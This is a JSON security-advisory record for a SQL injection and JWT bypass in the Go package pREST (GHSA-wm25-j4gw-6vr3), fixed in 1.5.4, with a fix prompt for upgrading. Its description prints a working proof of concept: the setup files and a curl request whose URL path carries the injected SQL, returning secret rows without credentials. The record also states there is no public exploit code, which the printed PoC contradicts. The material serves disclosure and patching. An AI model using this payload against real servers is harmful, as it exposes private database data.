{"answers":{"affected":"3 open source packages ship an affected version, including github.com/prest/prest.","exploited":"There is no known exploitation of GHSA-wm25-j4gw-6vr3 in the wild and no public exploit code.","fix":"Upgrade github.com/prest/prest to 1.5.4 or later.","what":"GHSA-wm25-j4gw-6vr3 is a SQL injection vulnerability in github.com/prest/prest, published on 30 Jul 2024. An attacker can exploit it over the internet without logging in, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-wm25-j4gw-6vr3 and fix it if it is affected.\n\nWhat it is: GHSA-wm25-j4gw-6vr3 is a SQL injection vulnerability in github.com/prest/prest, published on 30 Jul 2024. An attacker can exploit it over the internet without logging in, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-wm25-j4gw-6vr3 in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- github.com/prest/prest (Go): affected all versions; fixed in 1.5.4\n- github.com/prest/prest (Go): affected all versions; fixed in 1.5.4\n- github.com/prest/prest (Go): affected all versions; fixed in 1.5.4\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-wm25-j4gw-6vr3/ (Markdown: https://insights.sbomify.com/GHSA-wm25-j4gw-6vr3/index.md)","id":"GHSA-wm25-j4gw-6vr3","markdown":"https://insights.sbomify.com/GHSA-wm25-j4gw-6vr3/index.md","name":"GHSA-wm25-j4gw-6vr3","record":{"aliases":["GO-2024-3011"],"analysis":{"component_type":"server_software","fix_type":"upgrade","impacts":["data_read","security_bypass"],"network_reachable":"yes","non_default_config":false,"product_category":"PostgreSQL REST API","requires_auth":"none","summary":"Attackers can bypass JWT authentication and execute SQL injection to read sensitive database data without credentials.","user_interaction":"not_required","vuln_class":"sql_injection"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"### Summary\nProbably jwt bypass + sql injection\nor what i'm doing wrong?\n\n### PoC (how to reproduce)\n\n1. Create following files:\n\ndocker-compose.yml:\n```\nservices:\n  postgres:\n    image: postgres\n    container_name: postgres_container_mre\n    environment:\n      POSTGRES_USER: test_user_pg\n      POSTGRES_PASSWORD: test_pass_pg\n      POSTGRES_DB: test_db\n  prest:\n    image: prest/prest\n    build: .\n    volumes:\n      - ./queries:/queries\n      - ./migrations:/migrations\n    ports:\n      - \"3000:3000\"\n```\n\nDockerfile:\n```\nfrom prest/prest:latest\n\nCOPY ./prest.toml prest.toml\n```\n\nprest.toml:\n```\ndebug=false\nmigrations = \"./migrations\"\n\n[http]\nport = 3000\n\n[jwt]\ndefault = true\nkey = \"secret\"\nalgo = \"HS256\"\n\n[auth]\nenabled = true\ntype = \"body\"\nencrypt = \"MD5\"\ntable = \"prest_users\"\nusername = \"username\"\npassword = \"password\"\n\n[pg]\nURL = \"postgresql://test_user_pg:test_pass_pg@postgres:5432/test_db/?sslmode=disable\"\n\n[ssl]\nmode = \"disable\"\nsslcert = \"./PATH\"\nsslkey = \"./PATH\"\nsslrootcert = \"./PATH\"\n\n[expose]\nenabled = true\ndatabases = true\nschemas = true\ntables = true\n\n[queries]\nlocation = \"/queries\"\n```\n\n2. run commands:\n\n```\nmkdir -p migrations queries\ndocker compose up --build -d\n```\nwait for pg and prest, then run following to add test data to the pg:\n\n```\nexport PGPASSWORD=test_pass_pg\ndocker exec -it postgres_container_mre psql -U test_user_pg -d test_db -c \"CREATE TABLE IF NOT EXISTS public.some_table (id int primary key, secret_data text);\\\nINSERT INTO public.some_table (id, secret_data) VALUES (1, 'some secret text') ON CONFLICT DO NOTHING;\"\n```\n\n3. SQL injection even without jwt token:\n```\ncurl --location '127.0.0.1:3000/test_db/public\".some_table)%20s;--/auth'\n```\noutput:\n```\n[{\"id\": 1, \"secret_data\": \"some secret text\"}]\n```","ecosystems":["Go"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"pREST vulnerable to jwt bypass + sql injection","id":"GHSA-wm25-j4gw-6vr3","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"Go","product":null,"products":[],"type":"sql_injection","year":"2024"},"n_packages":3,"n_references":null,"packages":[{"ecosystem":"Go","fixed":["1.5.4"],"introduced":["0"],"last_affected":[],"package":"github.com/prest/prest","purl":null,"source":"GHSA-wm25-j4gw-6vr3"},{"ecosystem":"Go","fixed":["1.5.4"],"introduced":["0"],"last_affected":[],"package":"github.com/prest/prest","purl":"pkg:golang/github.com/prest/prest","source":"GHSA-wm25-j4gw-6vr3"},{"ecosystem":"Go","fixed":["1.5.4"],"introduced":["0"],"last_affected":[],"package":"github.com/prest/prest","purl":"pkg:golang/github.com/prest/prest","source":"GO-2024-3011"}],"products":null,"published":"2024-07-30","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"},{"class":"attribution","licence":"CC BY 4.0","name":"Go Vulnerability Database","prefix":"GO"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Attackers can bypass JWT authentication and execute SQL injection to read sensitive database data without credentials.","url":"https://insights.sbomify.com/GHSA-wm25-j4gw-6vr3/"}